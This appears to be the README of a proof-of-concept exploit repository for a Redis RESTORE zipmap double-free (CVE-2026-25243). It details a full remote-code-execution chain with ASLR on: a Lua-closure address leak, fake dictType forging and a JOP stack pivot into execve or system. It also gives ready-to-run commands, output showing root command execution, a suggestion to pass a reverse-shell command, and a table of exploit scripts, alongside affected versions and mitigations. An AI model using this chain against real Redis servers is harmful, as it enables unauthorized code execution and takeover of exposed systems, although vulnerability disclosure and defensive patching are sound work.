
CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution (ASLR on).
RESTORE zipmap double-free → remote code executionTL;DR. A malformed
DUMPpayload passed toRESTOREtriggers a heap double-free in Redis's legacy hash-zipmap loader. Under default jemalloc the double-free is silent (the server keeps running), which turns it into a controllable type-confusion primitive. This repo chains that into remote code execution with ASLR enabled — the Redis worker callssystem("<attacker string>")and keeps serving. Not a DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
The leak that defeats ASLR uses no DEBUG — it reads the redis.call Lua C-closure address
(EVAL 'return tostring(redis.call)'), the same self-contained, DEBUG-free technique as our prior
Redis exploit. blob_base/blob_robj and the PIE base are then derived at runtime from the
over-read (no fixed offset). The PIE-ROP finish calls execve@plt through a JOP stack-pivot, so it uses
zero libc addresses — the only build-specific constants are PIE-relative gadget offsets read from the
redis-server binary, exactly like our prior HLL exploit's per-build gadget table. Verified uid=0(root),
ASLR on, 8/8, on a default DEBUG-disabled server.
Two finishes are provided.
poc_rce_aslr_pie_rop.py(above) is the most self-contained — no libc, fully self-calibrated — butexecvereplaces the worker (use a reverse-shell--cmd; best for a real shell).poc_rce_aslr_selfcal.pykeeps the worker alive (system()forks) at the cost of two libc-version offsets. Pick by whether you need the server to survive.
RESTORE key 0 <DUMP-payload> deserializes a serialized object. For the legacy RDB_TYPE_HASH_ZIPMAP
(0x09) type, the validator and the converter disagree on how many bytes a length field occupies:
zipmapValidateIntegrity() walks with the actual encoded size (5 for the overlong 0xFE prefix);zipmapNext() during zipmap → listpack conversion uses 1 byte for any decoded length < 254.A small length written in the overlong 5-byte form passes validation but makes zipmapNext()
mis-stride by 4 bytes. Two consequences flow from the same mis-stride: a heap over-read
(zipmap.c) and, in Redis only, a heap double-free in the rdb.c hash-zipmap loader:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey guards this (if (!field_added) sdsfree(field)); upstream Redis did not, so the double-free is
Redis-only. The fix rejects the overlong-encoded short length and reorders the load-time checks.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
The fake dictType is planted inside a 16 MB string (SETRANGE) at the one offset whose address low
bytes match the attacker string's sds header. ASLR is defeated entirely at runtime:
system — a single heap-pointer leak. The recommended path is DEBUG-free: the address of
the redis.call Lua C-closure (EVAL 'return tostring(redis.call)') — the same self-contained leak
our prior Redis exploit uses. The jemalloc arenas sit at a constant offset from libc, so
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT is only a lab convenience when scripting
happens to be disabled but DEBUG is enabled — the rarer config.)SET's dict so its member is a 107 KB SDS_TYPE_32 sds, SMEMBERS over-reads
the adjacent heap, and the blob's robj.ptr is read at its known offset.See WRITEUP.md for the full primitive-by-primitive analysis and the hard-won jemalloc /
Redis-8.x details (class-64 boundary, dict entry tagging, hash-field mstr, keyspace pre-grow).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)The bootstrap heap-pointer leak follows the same approach as our prior Redis exploit: leak the
redis.call Lua C-closure address with EVAL 'return tostring(redis.call)'. Lua scripting is on by
default; DEBUG is off by default (enable-debug-command no) — so the Lua leak is the realistic
primary, and DEBUG OBJECT (poc_rce_aslr.py) is only a lab convenience. poc_rce_aslr_selfcal.py then
derives blob_base and blob_robj at runtime from the over-read (scan for the 16 MB-blob robj
signature), so DLUA/DFOBJ only need to be close.
For the system finish the small-heap over-read contains no libc pointers, so libc can't be
self-derived — poc_rce_aslr_selfcal.py keeps two libc-version offsets (DLIBC, SYSTEM_OFF). The
poc_rce_aslr_pie_rop.py finish removes that dependency entirely: the same over-read does carry
PIE pointers (a shared dictType appears repeatedly), so the PIE base is self-calibrated as
most-common-PIE-value − DICTTYPE_OFF, and the chain ends in execve@plt via a JOP stack-pivot
(mov rbp,rdi; call *0x8(rax) → leave;ret pivots rsp onto the attacker-controlled HGET field, which
is the execve("/bin/sh","-c",<cmd>) ROP chain). The only build-specific constants are the PIE-relative
gadget offsets read from — extract them per target with /, exactly as
our prior HLL exploit keys a gadget table per ELF Build-ID. No libc address is used.
screenshots/05-pie-rop-libc-free.png (the NO libc self-cal + uid=0, the most self-contained run),
01-rce-aslr-on.png (the uid=0 money shot), 02-reliability.png (5/5), 03-exploit-chain.png (the code),
and 04-debug-free-selfcal.png (the DEBUG-free, self-calibrating system run on a default Redis).
RESTORE is an ordinary command — on an unauthenticated/exposed
Redis (no requirepass) any connected client can run it; on an authed instance any user without an
ACL -restore deny. Same access profile as the data-structure commands used by other Redis RCEs.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — i.e. 6.2.x through current 8.x;
Valkey is DoS/over-read only (its field_added guard blocks the double-free).Upgrade to a fixed release. If you cannot: restrict RESTORE (ACL … -restore), never expose Redis
unauthenticated, and disable DEBUG.
Authorized security research, published for defender awareness. Do not run against systems you do not own or have explicit permission to test.
| file | what it demonstrates |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | most self-contained — RCE on a DEFAULT Redis (DEBUG off), NO libc offsets; self-calibrates blob_base/blob_robj/pie_base; execve@plt via JOP pivot (worker is replaced). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | worker-surviving — same chain but hashFunction=&system (forks); costs two libc-version offsets (DLIBC/SYSTEM_OFF). Lua-closure leak, self-calibrating blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | DEBUG-free (Lua leak), but with fixed offsets (DEBUG-on calibrated) |
exploits/poc_rce_aslr.py | lab-convenience variant: DEBUG OBJECT bootstrap leak (needs DEBUG enabled) |
exploits/poc_rce_aslr_off.py | RCE with ASLR off (calibrated addresses) |
exploits/poc_typeconfusion.py | double-free → two keys share one heap buffer (no tooling) |
exploits/poc_doublefree.py | the double-free (ASan: heap-use-after-free in sdsfree) |
exploits/poc_dos_overread.py | the over-read crash (ASan) |
redis-serverROPgadgetobjdump